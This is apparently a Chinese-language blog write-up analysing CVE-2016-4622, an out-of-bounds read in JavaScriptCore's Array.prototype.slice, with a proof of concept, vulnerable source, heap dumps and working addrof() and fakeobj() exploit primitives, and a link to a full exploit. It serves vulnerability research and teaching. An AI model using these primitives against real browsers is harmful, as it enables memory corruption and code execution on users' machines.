Javascript engine exploit 3

  1. 0x00 前言
  2. 0x01 POC
  3. 0x02 Slice
  4. 0x03 ValueOf
  5. 0x04 Exploiting with “valueOf”
  6. 0x05 JavaScriptCore Heap
  7. 0x06 Addrof
  8. 0x07 Fakeobj
  9. 0x08 Exploit
  10. 0x09 Reference

首发于安全客:https://www.anquanke.com/post/id/183882

0x00 前言

这次准备介绍一个经典的bug:CVE 2016 4622

这个bug也是第一篇介绍到的文章Attacking JavaScript Engines中提到的,saelo在文章中对漏洞相关的技术介绍得很清楚,网上也有很多人对这个漏洞进行了复现,我没有在前面对这个漏洞进行介绍是因为这个洞算是比较老了(其实主要是在我机器上编译不了)。

但是前段时间看到了一篇文章:WebKit JSC CVE-2016-4622调试分析

发现还是有人遇到了同样的情况,文章中给出了在新分支中打上vuln patch的方式,patch的方案和文件来源:https://github.com/m1ghtym0/write-ups/tree/master/browser/CVE-2016-4622

0x01 POC

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {
      valueOf: function() {
        a.length = 0; 
      return 10; 
      }
    }
);
print(b);
//0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

0x02 Slice

poc很简洁,这是一个数组越界访问(OOB)的漏洞。漏洞出现在Array.prototype.slice的实现中,具体的函数是arrayProtoFuncSlice

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
    {
      /* [[ 1 ]] */
      JSObject* thisObj = exec->thisValue()
                         .toThis(exec, StrictMode)
                         .toObject(exec);
      if (!thisObj)
        return JSValue::encode(JSValue());

      /* [[ 2 ]] */
      unsigned length = getLength(exec, thisObj);
      if (exec->hadException())
        return JSValue::encode(jsUndefined());

      /* [[ 3 ]] */
      unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
      unsigned end =
          argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

      /* [[ 4 ]] */
      std::pair<SpeciesConstructResult, JSObject*> speciesResult =
        speciesConstructArray(exec, thisObj, end - begin);
      // We can only get an exception if we call some user function.
      if (UNLIKELY(speciesResult.first ==
      SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

      /* [[ 5 ]] */
      if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
            isJSArray(thisObj))) {
        if (JSArray* result =
                asArray(thisObj)->fastSlice(*exec, begin, end - begin))
          return JSValue::encode(result);
      }

      JSObject* result;
      if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
      else
        result = constructEmptyArray(exec, nullptr, end - begin);

      unsigned n = 0;
      for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
          return JSValue::encode(jsUndefined());
        if (v)
          result->putDirectIndex(exec, n, v);
      }
      setLength(exec, result, n);
      return JSValue::encode(result);
    }
  1. 取得调用方法的对象(在这里是数组对象)
  2. 得到数组的length
  3. 对参数进行转换得到start和end的index,并将它们限制在[0, length)的区间内
  4. 检查是否有构造函数可使用
  5. 执行切片

最后执行切片一共有两种方式:

  1. 如果是密集型存储的数组就执行fastSlice,使用memcpy拷贝数据到新数组。
  2. 如果fastSlice无法执行,就使用slowSlice,使用一个循环将元素一个一个放入新数组。

值得注意的是在fastSlice中没有对数组边界的检查,看起来在前面的代码中已经对start和end的范围做了限制,所以很容易地认为在后面的代码中不会有数组越界的情况发生,但是saelo在文章中使用类型转换突破了这个限制。

0x03 ValueOf

JavaScript属于“动态弱类型”语言,JavaScript在处理不同类型变量时会尝试去把变量转化成自己需要的类型,以Math.abs()为例:

>>> Math.abs(-42)
42
>>> Math.abs("-42")
42
>>> Math.abs([])
0
>>> Math.abs(true)
1
>>> Math.abs({})
NaN
>>> 

但是这种用法不适用于强类型语言,比如Python(Python属于“动态强类型”语言)。

如果一个对象有可以调用的valueOf()方法,当需要做类型转换时会获取这个方法的返回值作为转换的结果:

>>> Math.abs({valueOf:function(){return 10;}})
10

有时候toString()也是有效的:

>>> Math.abs({toString:function(){return "10";}})
10

这也是为什么在poc中要给slice()传入带valueOf()方法的对象。

var b = a.slice(0, {
      valueOf: function() {
        a.length = 0; 
      return 10; 
      }
    }
);

表面上等效于:

var b = a.slice(0, 10);

0x04 Exploiting with “valueOf”

arrayProtoFuncSlice()中的参数类型转换发生在argumentClampedIndexFromStartOrEnd()执行的时候,该方法负责将start和end限制在[0, length)区间。

    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);  // Conversion happens here
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);

这段代码有个很明显的问题,这里用的length是前面获取到的,如果我们在类型转换时将数组实际的length缩小,由于这里的length不会更新,start和end表示的范围将会突破数组长度的限制。

再来看看重新设定数组长度之后会发生什么,具体的代码在JSArray::setLength

    unsigned lengthToClear = butterfly->publicLength() - newLength;
    unsigned costToAllocateNewButterfly = 64; // a heuristic.
    if (lengthToClear > newLength &&
        lengthToClear > costToAllocateNewButterfly) {
        reallocateAndShrinkButterfly(exec->vm(), newLength);
        return true;
    }

中间设置了一个costToAllocateNewButterfly是用来避免频繁申请内存空间的。

解读下这段代码的意思:new length减去old length的差值如果大于new length而且大于costToAllocateNewButterfly,就会为数组重新申请butterfly的内存。这里的length表示的不是字节数,而是slot的数量,也就是元素个数。

结合这部分的内容就很容易知道poc中打印出来的b的内容大概是什么了。就是a重新分配的butterfly紧挨着的内存区域的数据。但是我们仍然不知道泄漏出来的数据具体是什么,属于哪个对象。

0x05 JavaScriptCore Heap

Butterfly的分配是在JSC的Heap中进行的,对于大小相近的Butterfly,他们会被分配到一片连续的内存空间中:

a = [1.1];
a[0] = 1.8;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x1072b42b0 with butterfly 0x8000fe4a8 (Structure 0x1072f2a00:[Array, {}, ArrayWithDouble, Proto:0x1072c80a0, Leaf]), StructureID: 97
Object: 0x1072b42c0 with butterfly 0x8000fe4c8 (Structure 0x1072f2a70:[Array, {}, ArrayWithContiguous, Proto:0x1072c80a0]), StructureID: 98

可以看到两个Array的Butterfly是连在一起的,这个对于长度被缩小后内存被重新分配的Array也是一样的:

a = [];
for (var i = 0; i < 100; i++) 
    a.push(i + 0.123);
a.length = 0;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x106ab42b0 with butterfly 0x8000fe4a8 (Structure 0x106af2a00:[Array, {}, ArrayWithDouble, Proto:0x106ac80a0, Leaf]), StructureID: 97
Object: 0x106ab42c0 with butterfly 0x8000fe4c8 (Structure 0x106af2a70:[Array, {}, ArrayWithContiguous, Proto:0x106ac80a0]), StructureID: 98

那我们就可以很清楚的知道,前面通过POC泄漏出来的数据就是其他对象的butterfly。那么如果我们收缩Array之后紧接着分配一个大小相近的Array,就应该可以读取到第二个Array的butterfly了,如果里面保存的是对象那么我们就可以泄漏这个对象的地址了。

0x06 Addrof

结合POC:

a = [];
for (var i = 0; i < 100; i++) 
    a.push(i + 0.123);

b = a.slice(0, {
        valueOf: function() {
            a.length = 0; 
            var leak_ary = [{}];
            print(describe(a));
            print(describe(leak_ary[0]));
            return 10; 
        }
    }
);

print(describe(b));
#a
Object: 0x1071b42b0 with butterfly 0x10000fe4a8 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
#leak_ary
Object: 0x1071b0080 with butterfly 0x0 (Structure 0x1071f2060:[Object, {}, NonArray, Proto:0x1071b4000]), StructureID: 75
#b
Object: 0x1071b42d0 with butterfly 0x10000e0078 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
>>> b
0.123,1.123,1.5488838078e-314,6.3659873734e-314,2.180893412e-314,0,0,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

(lldb) x/6gx 0x10000e0078
0x10000e0078: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x10000e0088: 0x00000000badbeef0 0x0000000300000001
0x10000e0098: 0x00000001071b0080 0x0000000000000000

通过查看b的butterfly可以看到里面已经保存了leak_ary的地址。通过直接输出b,我们获取第五个元素就可以得到泄漏出的对象地址了。封装addrof()如下:

function addrof(obj){
    var a = [];
    for (var i = 0; i < 100; i++) 
        a.push(i + 0.123);

    var b = a.slice(0, {
            valueOf: function() {
                a.length = 0; 
                var leak_ary = [obj];
                return 10; 
            }
        }
    );
    return b[4];
}

0x07 Fakeobj

伪造对象也可以通过这个oob漏洞完成,和addrof()的区别就是,我们需要先将a转化为ArrayWithContigous,在a缩小之后,申请一个ArrayWithDouble,并将要伪造的对象地址写进去,构造如下:

function fakeobj(addr){
    var a = [];
    for (var i = 0; i < 100; i++) 
        a.push(i + 0.123);

    var b = a.slice(0, {
            valueOf: function() {
                a.length = 0;
                a[0] = {};
                var arr = [1.1];
                arr[0] = addr;
                return 10; 
            }
        }
    );
    return b[4];
}

我构造出来的addrof()fakeobj()会和saelo的不太一样,因为我是根据自己对漏洞的理解写的,saelo的构造比我更加简洁:

addrof@saelo

function addrof(object) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push(i + 0.1337);   // Array must be of type ArrayWithDoubles

        var hax = {valueOf: function() {
            a.length = 0;
            a = [object];
            return 4;
        }};

        var b = a.slice(0, hax);
        return Int64.fromDouble(b[3]);
}

fakeobj@saelo

function fakeobj(addr) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push({});     // Array must be of type ArrayWithContiguous

        addr = addr.asDouble();
        var hax = {valueOf: function() {
            a.length = 0;
            a = [addr];
            return 4;
        }};

        return a.slice(0, hax)[3];
}

0x08 Exploit

由于JSC在新加入了2016年并没有的漏洞缓解措施“Gigacage”,导致无法修改特定对象的m_vector的指针,比如Float64Array,所以saelo文章中的利用方法不适用于本文中打了patch的JSC,其实我们完全可以用上一篇文章中的利用方法,直接将除了addrof()fakeobj()的部分复制过来就能用了。

当然这样有些不兼容的问题,我在代码中做了一些调整:https://github.com/joshua7o8v/Browser/blob/master/WebKit/cve-2016-4622/poc.js

关于poc.js中不太理解的地方可以看上一篇文章。

0x09 Reference

[1] https://github.com/joshua7o8v/Browser/tree/master/WebKit/cve-2016-4622

[2] http://www.phrack.org/papers/attacking_javascript_engines.html

[3] http://d1iv3.me/2019/07/06/WebKit-JSC-CVE-2016-4622%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎联系作者指出任何有错误或不够清晰的表达。

文章标题:Javascript engine exploit 3

本文作者:7o8v

发布时间:2019-10-30, 15:49:10

最后更新:2019-10-30, 15:59:03

原始链接:http://www.7o8v.me/2019/10/30/Javascript-engine-exploit-3/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录